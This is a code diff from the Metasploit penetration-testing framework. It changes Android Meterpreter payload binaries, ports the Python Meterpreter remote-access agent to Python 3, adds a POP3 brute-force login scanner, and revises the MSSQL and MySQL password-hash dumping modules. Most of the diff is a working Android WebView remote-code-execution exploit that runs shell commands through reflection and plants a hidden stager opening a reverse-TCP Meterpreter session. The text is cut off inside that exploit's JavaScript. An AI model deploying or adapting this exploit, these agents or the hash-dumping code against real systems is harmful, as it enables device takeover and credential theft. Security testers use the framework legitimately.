diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b0614159d5..fccd9c49a7 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -50,7 +50,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) #### New Modules * **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb). -* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much. +* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much. * **Don't** include more than one module per pull request. #### Library Code diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml index 39fa1cea0e..57e86cd85b 100644 Binary files a/data/android/apk/AndroidManifest.xml and b/data/android/apk/AndroidManifest.xml differ diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex index 29eda9c903..ff39e87f11 100644 Binary files a/data/android/apk/classes.dex and b/data/android/apk/classes.dex differ diff --git a/data/android/apk/res/drawable-mdpi/icon.png b/data/android/apk/res/drawable-mdpi/icon.png deleted file mode 100644 index c2e4f5634b..0000000000 Binary files a/data/android/apk/res/drawable-mdpi/icon.png and /dev/null differ diff --git a/data/android/apk/res/layout/main.xml b/data/android/apk/res/layout/main.xml deleted file mode 100644 index 23d9bacad3..0000000000 Binary files a/data/android/apk/res/layout/main.xml and /dev/null differ diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc index 4fe928b45e..03f6c44d28 100644 Binary files a/data/android/apk/resources.arsc and b/data/android/apk/resources.arsc differ diff --git a/data/android/libs/armeabi/libndkstager.so b/data/android/libs/armeabi/libndkstager.so new file mode 100644 index 0000000000..d5b8051f7e Binary files /dev/null and b/data/android/libs/armeabi/libndkstager.so differ diff --git a/data/android/libs/mips/libndkstager.so b/data/android/libs/mips/libndkstager.so new file mode 100644 index 0000000000..973ffe39a7 Binary files /dev/null and b/data/android/libs/mips/libndkstager.so differ diff --git a/data/android/libs/x86/libndkstager.so b/data/android/libs/x86/libndkstager.so new file mode 100644 index 0000000000..2ebc0a6bcc Binary files /dev/null and b/data/android/libs/x86/libndkstager.so differ diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar index 9fcffba058..35e3ddf6b5 100644 Binary files a/data/android/meterpreter.jar and b/data/android/meterpreter.jar differ diff --git a/data/android/metstage.jar b/data/android/metstage.jar index 9a3d4d6315..6803307a5f 100644 Binary files a/data/android/metstage.jar and b/data/android/metstage.jar differ diff --git a/data/android/shell.jar b/data/android/shell.jar index 83c879c582..5fd680fa8f 100644 Binary files a/data/android/shell.jar and b/data/android/shell.jar differ diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 05850b7398..408b3f92c8 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -20,6 +20,7 @@ arch_armle = "armle"; arch_x86 = "x86"; arch_x86_64 = "x86_64"; arch_ppc = "ppc"; +arch_mipsle = "mipsle"; window.os_detect = {}; @@ -184,9 +185,15 @@ window.os_detect.getVersion = function(){ } else if (platform.match(/arm/)) { // Android and maemo arch = arch_armle; - if (navigator.userAgent.match(/android/i)) { - os_flavor = 'Android'; - } + } else if (platform.match(/x86/)) { + arch = arch_x86; + } else if (platform.match(/mips/)) { + arch = arch_mipsle; + } + + + if (navigator.userAgent.match(/android/i)) { + os_flavor = 'Android'; } } else if (platform.match(/windows/)) { os_name = oses_windows; diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar index bef5cee014..b6a01cac09 100644 Binary files a/data/meterpreter/ext_server_stdapi.jar and b/data/meterpreter/ext_server_stdapi.jar differ diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index ae9cab6cb8..ed7e58701a 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -48,6 +48,24 @@ try: except ImportError: has_winreg = False +try: + import winreg + has_winreg = True +except ImportError: + has_winreg = (has_winreg or False) + +if sys.version_info[0] < 3: + is_str = lambda obj: issubclass(obj.__class__, str) + is_bytes = lambda obj: issubclass(obj.__class__, str) + bytes = lambda *args: str(*args[:1]) + NULL_BYTE = '\x00' +else: + is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) + is_bytes = lambda obj: issubclass(obj.__class__, bytes) + str = lambda x: __builtins__['str'](x, 'UTF-8') + NULL_BYTE = bytes('\x00', 'UTF-8') + long = int + if has_ctypes: # # Windows Structures @@ -498,11 +516,12 @@ def get_stat_buffer(path): blocks = si.st_blocks st_buf = struct.pack('II', pkt[offset:offset+8]) - if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: - val = pkt[offset+8:(offset+8+(tlv[0] - 8))] - if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] - elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - val = struct.unpack('>I', val)[0] - elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - val = bool(struct.unpack('b', val)[0]) - elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - pass - return {'type':tlv[1], 'length':tlv[0], 'value':val} - offset += tlv[0] - return {} - @export def packet_enum_tlvs(pkt, tlv_type = None): offset = 0 @@ -152,7 +147,7 @@ def packet_enum_tlvs(pkt, tlv_type = None): if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type): val = pkt[offset+8:(offset+8+(tlv[0] - 8))] if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] + val = str(val.split(NULL_BYTE, 1)[0]) elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: val = struct.unpack('>I', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: @@ -163,6 +158,14 @@ def packet_enum_tlvs(pkt, tlv_type = None): offset += tlv[0] raise StopIteration() +@export +def packet_get_tlv(pkt, tlv_type): + try: + tlv = list(packet_enum_tlvs(pkt, tlv_type))[0] + except IndexError: + return {} + return tlv + @export def tlv_pack(*args): if len(args) == 2: @@ -170,20 +173,33 @@ def tlv_pack(*args): else: tlv = args[0] data = "" - if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' - elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: data = struct.pack('>III', 12, tlv['type'], tlv['value']) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) - elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') + else: + value = tlv['value'] + if not is_bytes(value): + value = bytes(value, 'UTF-8') + if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE + elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value return data +#@export +class MeterpreterFile(object): + def __init__(self, file_obj): + self.file_obj = file_obj + + def __getattr__(self, name): + return getattr(self.file_obj, name) +export(MeterpreterFile) + #@export class MeterpreterSocket(object): def __init__(self, sock): @@ -208,11 +224,11 @@ class STDProcessBuffer(threading.Thread): threading.Thread.__init__(self) self.std = std self.is_alive = is_alive - self.data = '' + self.data = bytes() self.data_lock = threading.RLock() def run(self): - for byte in iter(lambda: self.std.read(1), ''): + for byte in iter(lambda: self.std.read(1), bytes()): self.data_lock.acquire() self.data += byte self.data_lock.release() @@ -220,15 +236,20 @@ class STDProcessBuffer(threading.Thread): def is_read_ready(self): return len(self.data) != 0 - def read(self, l = None): - data = '' + def peek(self, l = None): + data = bytes() self.data_lock.acquire() if l == None: data = self.data - self.data = '' else: data = self.data[0:l] - self.data = self.data[l:] + self.data_lock.release() + return data + + def read(self, l = None): + self.data_lock.acquire() + data = self.peek(l) + self.data = self.data[len(data):] self.data_lock.release() return data @@ -236,12 +257,25 @@ class STDProcessBuffer(threading.Thread): class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) + self.echo_protection = False def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader.start() + + def write(self, channel_data): + self.stdin.write(channel_data) + self.stdin.flush() + if self.echo_protection: + end_time = time.time() + 0.5 + out_data = bytes() + while (time.time() < end_time) and (out_data != channel_data): + if self.stdout_reader.is_read_ready(): + out_data = self.stdout_reader.peek(len(channel_data)) + if out_data == channel_data: + self.stdout_reader.read(len(channel_data)) export(STDProcess) class PythonMeterpreter(object): @@ -251,7 +285,7 @@ class PythonMeterpreter(object): self.channels = {} self.interact_channels = [] self.processes = {} - for func in filter(lambda x: x.startswith('_core'), dir(self)): + for func in list(filter(lambda x: x.startswith('_core'), dir(self))): self.extension_functions[func[1:]] = getattr(self, func) self.running = True @@ -265,6 +299,7 @@ class PythonMeterpreter(object): return func def add_channel(self, channel): + assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket))) idx = 0 while idx in self.channels: idx += 1 @@ -286,7 +321,7 @@ class PythonMeterpreter(object): break req_length, req_type = struct.unpack('>II', request) req_length -= 8 - request = '' + request = bytes() while len(request) < req_length: request += self.socket.recv(4096) response = self.create_response(request) @@ -294,17 +329,17 @@ class PythonMeterpreter(object): else: channels_for_removal = [] # iterate over the keys because self.channels could be modified if one is closed - channel_ids = self.channels.keys() + channel_ids = list(self.channels.keys()) for channel_id in channel_ids: channel = self.channels[channel_id] - data = '' + data = bytes() if isinstance(channel, STDProcess): if not channel_id in self.interact_channels: continue - if channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read() - elif channel.stderr_reader.is_read_ready(): + if channel.stderr_reader.is_read_ready(): data = channel.stderr_reader.read() + elif channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read() elif channel.poll() != None: self.handle_dead_resource_channel(channel_id) elif isinstance(channel, MeterpreterSocketClient): @@ -312,7 +347,7 @@ class PythonMeterpreter(object): try: d = channel.recv(1) except socket.error: - d = '' + d = bytes() if len(d) == 0: self.handle_dead_resource_channel(channel_id) break @@ -357,13 +392,13 @@ class PythonMeterpreter(object): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE - preloadlib_methods = self.extension_functions.keys() + preloadlib_methods = list(self.extension_functions.keys()) symbols_for_extensions = {'meterpreter':self} symbols_for_extensions.update(EXPORTED_SYMBOLS) i = code.InteractiveInterpreter(symbols_for_extensions) i.runcode(compile(data_tlv['value'], '', 'exec')) - postloadlib_methods = self.extension_functions.keys() - new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) + postloadlib_methods = list(self.extension_functions.keys()) + new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods)) for method in new_methods: response += tlv_pack(TLV_TYPE_METHOD, method) return ERROR_SUCCESS, response @@ -386,10 +421,10 @@ class PythonMeterpreter(object): if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] - if isinstance(channel, file): - channel.close() - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): channel.kill() + elif isinstance(channel, MeterpreterFile): + channel.close() elif isinstance(channel, MeterpreterSocket): channel.close() else: @@ -405,7 +440,7 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] result = False - if isinstance(channel, file): + if isinstance(channel, MeterpreterFile): result = channel.tell() >= os.fstat(channel.fileno()).st_size response += tlv_pack(TLV_TYPE_BOOL, result) return ERROR_SUCCESS, response @@ -432,13 +467,13 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] data = '' - if isinstance(channel, file): - data = channel.read(length) - elif isinstance(channel, STDProcess): + if isinstance(channel, STDProcess): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read(length) + elif isinstance(channel, MeterpreterFile): + data = channel.read(length) elif isinstance(channel, MeterpreterSocket): data = channel.recv(length) else: @@ -454,13 +489,13 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] l = len(channel_data) - if isinstance(channel, file): - channel.write(channel_data) - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response - channel.stdin.write(channel_data) + channel.write(channel_data) + elif isinstance(channel, MeterpreterFile): + channel.write(channel_data) elif isinstance(channel, MeterpreterSocket): try: l = channel.send(channel_data) @@ -485,13 +520,17 @@ class PythonMeterpreter(object): if handler_name in self.extension_functions: handler = self.extension_functions[handler_name] try: - #print("[*] running method {0}".format(handler_name)) + if DEBUGGING: + print('[*] running method ' + handler_name) result, resp = handler(request, resp) - except Exception, err: - #print("[-] method {0} resulted in an error".format(handler_name)) + except Exception: + if DEBUGGING: + print('[-] method ' + handler_name + ' resulted in an error') + traceback.print_exc(file=sys.stderr) result = ERROR_FAILURE else: - #print("[-] method {0} was requested but does not exist".format(handler_name)) + if DEBUGGING: + print('[-] method ' + handler_name + ' was requested but does not exist') result = ERROR_FAILURE resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp @@ -499,6 +538,9 @@ class PythonMeterpreter(object): if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): - os.setsid() + try: + os.setsid() + except OSError: + pass met = PythonMeterpreter(s) met.run() diff --git a/lib/metasploit/framework/login_scanner/pop3.rb b/lib/metasploit/framework/login_scanner/pop3.rb new file mode 100644 index 0000000000..738ffc8fb9 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/pop3.rb @@ -0,0 +1,75 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with POP3. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class POP3 + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attempt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + status: :failed + } + + disconnect if self.sock + + begin + connect + select([sock],nil,nil,0.4) + # sleep(0.4) + + # Check to see if we recieved an OK? + result_options[:proof] = sock.get_once + if result_options[:proof][/^\+OK.*/] + # If we received an OK we should send the USER + sock.put("USER #{credential.public}\r\n") + result_options[:proof] = sock.get_once + if result_options[:proof][/^\+OK.*/] + # If we got an OK after the username we can send the PASS + sock.put("PASS #{credential.private}\r\n") + result_options[:proof] = sock.get_once + if result_options[:proof][/^\+OK.*/] + # if the pass gives an OK, were good to go + result_options[:status] = :success + end + end + end + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e + result_options.merge!( + proof: e.message, + status: :connection_error + ) + end + + disconnect if self.sock + + Result.new(result_options) + end + + private + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.max_send_size ||= 0 + self.send_delay ||= 0 + self.port ||= 110 + end + + end + + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/vnc.rb b/lib/metasploit/framework/login_scanner/vnc.rb index a2cb530a95..d949137795 100644 --- a/lib/metasploit/framework/login_scanner/vnc.rb +++ b/lib/metasploit/framework/login_scanner/vnc.rb @@ -61,7 +61,7 @@ module Metasploit status: :connection_error ) end - rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e + rescue ::EOFError, Errno::ENOTCONN, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e result_options.merge!( proof: e.message, status: :connection_error diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index aeae5aa361..66c0345f2b 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -31,5 +31,36 @@ module Msf::Payload::Dalvik [str.length].pack("N") + str end + def string_sub(data, placeholder="", input="") + data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) + end + + def generate_cert + x509_name = OpenSSL::X509::Name.parse( + "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" + ) + key = OpenSSL::PKey::RSA.new(1024) + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = 1 + cert.subject = x509_name + cert.issuer = x509_name + cert.public_key = key.public_key + + # Some time within the last 3 years + cert.not_before = Time.now - rand(3600*24*365*3) + + # From http://developer.android.com/tools/publishing/app-signing.html + # """ + # A validity period of more than 25 years is recommended. + # + # If you plan to publish your application(s) on Google Play, note + # that a validity period ending after 22 October 2033 is a + # requirement. You can not upload an application if it is signed + # with a key whose validity expires before that date. + # """ + cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + return cert, key + end end diff --git a/modules/auxiliary/scanner/http/etherpad_duo_login.rb b/modules/auxiliary/scanner/http/etherpad_duo_login.rb index f17d451bee..66371cc7d1 100644 --- a/modules/auxiliary/scanner/http/etherpad_duo_login.rb +++ b/modules/auxiliary/scanner/http/etherpad_duo_login.rb @@ -13,10 +13,10 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => 'EtherPAD Duo Login Brute Force Utility', + 'Name' => 'EtherPAD Duo Login Bruteforce Utility', 'Description' => %{ This module scans for EtherPAD Duo login portal, and - performs a login brute force attack to identify valid credentials. + performs a login bruteforce attack to identify valid credentials. }, 'Author' => [ @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary return end - print_status("#{peer} - Starting login brute force...") + print_status("#{peer} - Starting login bruteforce...") each_user_pass do |user, pass| do_login(user, pass) end diff --git a/modules/auxiliary/scanner/http/pocketpad_login.rb b/modules/auxiliary/scanner/http/pocketpad_login.rb index 1a7dc9da52..a1a5b75f56 100644 --- a/modules/auxiliary/scanner/http/pocketpad_login.rb +++ b/modules/auxiliary/scanner/http/pocketpad_login.rb @@ -14,10 +14,10 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => 'PocketPAD Login Brute Force Utility', + 'Name' => 'PocketPAD Login Bruteforce Force Utility', 'Description' => %{ This module scans for PocketPAD login portal, and - performs a login brute force attack to identify valid credentials. + performs a login bruteforce attack to identify valid credentials. }, 'Author' => [ @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary return end - print_status("#{peer} - Starting login brute force...") + print_status("#{peer} - Starting login bruteforce...") each_user_pass do |user, pass| do_login(user, pass) end diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index a31c2637c6..91a5ecf793 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -55,10 +55,10 @@ class Metasploit3 < Msf::Auxiliary case version_year when "2000" - hashtype = "mssql.hashes" + hashtype = "mssql" - when "2005", "2008" - hashtype = "mssql05.hashes" + when "2005", "2008", "2012", "2014" + hashtype = "mssql05" end this_service = report_service( @@ -74,15 +74,42 @@ class Metasploit3 < Msf::Auxiliary 'Columns' => ['Username', 'Hash'] ) - hash_loot="" + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'mssql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + mssql_hashes.each do |row| next if row[0].nil? or row[1].nil? next if row[0].empty? or row[1].empty? + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_type: :nonreplayable_hash, + private_data: row[1], + username: row[0], + jtr_format: hashtype + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) + tbl << [row[0], row[1]] print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}") end - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlhashes.txt" - store_loot(hashtype, "text/plain", datastore['RHOST'], tbl.to_csv, filename, "MS SQL Hashes", this_service) end #Grabs the user tables depending on what Version of MSSQL @@ -99,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary when "2000" results = mssql_query(mssql_2k_password_hashes())[:rows] - when "2005", "2008" + when "2005", "2008", "2012", "2014" results = mssql_query(mssql_2k5_password_hashes())[:rows] end diff --git a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb index e249db4ff0..31d5f372f4 100644 --- a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb @@ -37,41 +37,41 @@ class Metasploit3 < Msf::Auxiliary return end - this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :name => 'mysql', - :proto => 'tcp' - ) + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'mysql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + jtr_format: 'mysql,mysql-sha1', + module_fullname: self.fullname, + private_type: :nonreplayable_hash + } - #create a table to store data - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'MysQL Server Hashes', - 'Indent' => 1, - 'Columns' => ['Username', 'Hash'] - ) + credential_data.merge!(service_data) if res.size > 0 res.each do |row| - tbl << [row[0], row[1]] + credential_data[:username] = row[0] + credential_data[:private_data] = row[1] print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}") + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) end end - report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty? - - end - #Stores the Hash Table as Loot for Later Cracking - def report_hashes(hash_loot,service) - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_mysqlhashes.txt" - path = store_loot("mysql.hashes", "text/plain", datastore['RHOST'], hash_loot, filename, "MySQL Hashes",service) - print_status("Hash Table has been saved: #{path}") - - end end diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 1ebd1204d8..373fc8f2fd 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -10,9 +10,22 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ - :os_flavor => "Android", - :arch => ARCH_ARMLE, + # Since the NDK stager is used, arch detection must be performed + SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ] + + # Most android devices are ARM + DEFAULT_ARCH = ARCH_ARMLE + + # Some of the default NDK build targets are named differently than + # msf's builtin constants. This mapping allows the ndkstager file + # to be looked up from the msf constant. + NDK_FILES = { + ARCH_ARMLE => 'armeabi', + ARCH_MIPSLE => 'mips' + } + + autopwn_info( + :os_flavor => 'Android', :javascript => true, :rank => ExcellentRanking, :vuln_test => %Q| @@ -23,12 +36,12 @@ class Metasploit3 < Msf::Exploit::Remote } catch(e) {} } | - }) + ) def initialize(info = {}) super(update_info(info, - 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', - 'Description' => %q{ + 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', + 'Description' => %q{ This module exploits a privilege escalation issue in Android < 4.2's WebView component that arises when untrusted Javascript code is executed by a WebView that has one or more Interfaces added to it. The untrusted Javascript code can call into the Java Reflection @@ -46,75 +59,185 @@ class Metasploit3 < Msf::Exploit::Remote Note: Adding a .js to the URL will return plain javascript (no HTML markup). }, - 'License' => MSF_LICENSE, - 'Author' => [ + 'License' => MSF_LICENSE, + 'Author' => [ 'jduck', # original msf module 'joev' # static server ], - 'References' => [ + 'References' => [ ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'], ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], ['URL', 'http://50.56.33.56/blog/?p=314'], ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'], - ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'] + ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'], + ['CVE', '2012-6636'], # original CVE for addJavascriptInterface + ['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_) + ['EDB', '31519'], + ['OSVDB', '97520'] ], - 'Platform' => 'linux', - 'Arch' => ARCH_ARMLE, - 'DefaultOptions' => { 'PrependFork' => true }, - 'Targets' => [ [ 'Automatic', {} ] ], - 'DisclosureDate' => 'Dec 21 2012', - 'DefaultTarget' => 0, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => 'Dec 21 2012', + 'DefaultTarget' => 0, 'BrowserRequirements' => { - :source => 'script', - :os_flavor => "Android", - :arch => ARCH_ARMLE + :source => 'script', + :os_flavor => 'Android' } )) end + # Hooked to prevent BrowserExploitServer from attempting to do JS detection + # on requests for the static javascript file def on_request_uri(cli, req) - if req.uri.end_with?('js') - print_status("Serving javascript") - send_response(cli, js, 'Content-type' => 'text/javascript') + if req.uri =~ /\.js/ + serve_static_js(cli, req) else super end end + # The browser appears to be vulnerable, serve the exploit def on_request_exploit(cli, req, browser) - print_status("Serving exploit HTML") - send_response_html(cli, html) + arch = normalize_arch(browser[:arch]) + print_status "Serving #{arch} exploit..." + send_response_html(cli, html(arch)) end - def js - %Q| - function exec(obj) { + # The NDK stager is used to launch a hidden APK + def ndkstager(stagename, arch) + localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so') + data = File.read(localfile, :mode => 'rb') + data.gsub!('PLOAD', stagename) + end + + def js(arch) + stagename = Rex::Text.rand_text_alpha(5) + script = %Q| + function exec(runtime, cmdArr) { + var ch = 0; + var output = ''; + var process = runtime.exec(cmdArr); + var input = process.getInputStream(); + + while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); } + return output; + } + + function attemptExploit(obj) { // ensure that the object contains a native interface try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } + // get the pid + var pid = obj.getClass() + .forName('android.os.Process') + .getMethod('myPid', null) + .invoke(null, null); + // get the runtime so we can exec - var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); - var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}"; + var runtime = obj.getClass() + .forName('java.lang.Runtime') + .getMethod('getRuntime', null) + .invoke(null, null); + + // libraryData contains the bytes for a native shared object built via NDK + // which will load the "stage", which in this case is our android meterpreter stager. + // LibraryData is loaded via ajax later, because we have to access javascript in + // order to detect what arch we are running. + var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; + + // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains + // another stager which loads android meterpreter from the msf handler. + var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}"; // get the process name, which will give us our data path - var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); - var ch, path = '/data/data/'; - while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } - path += '/#{Rex::Text.rand_text_alpha(8)}'; + // $PPID does not seem to work on android 4.0, so 